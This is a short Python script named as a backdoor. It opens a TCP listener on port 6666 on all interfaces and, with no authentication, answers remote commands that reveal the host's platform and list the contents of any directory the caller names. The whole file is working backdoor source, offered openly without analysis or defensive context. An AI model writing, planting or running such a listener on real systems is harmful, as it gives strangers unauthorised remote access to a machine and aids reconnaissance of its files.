alter_backdoor.py

import os, platform, socket

SRV_ADDR = "0.0.0.0"
SRV_PORT = 6666

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
print("Server started, Waiting for connections...")

connection, address = s.accept()
print("Client connected with address: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except: continue
    
    if (data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif (data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += ", " + x
        except:
            tosend = "Wrong Path"
        connection.sendall(tosend.encode())
    elif (data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()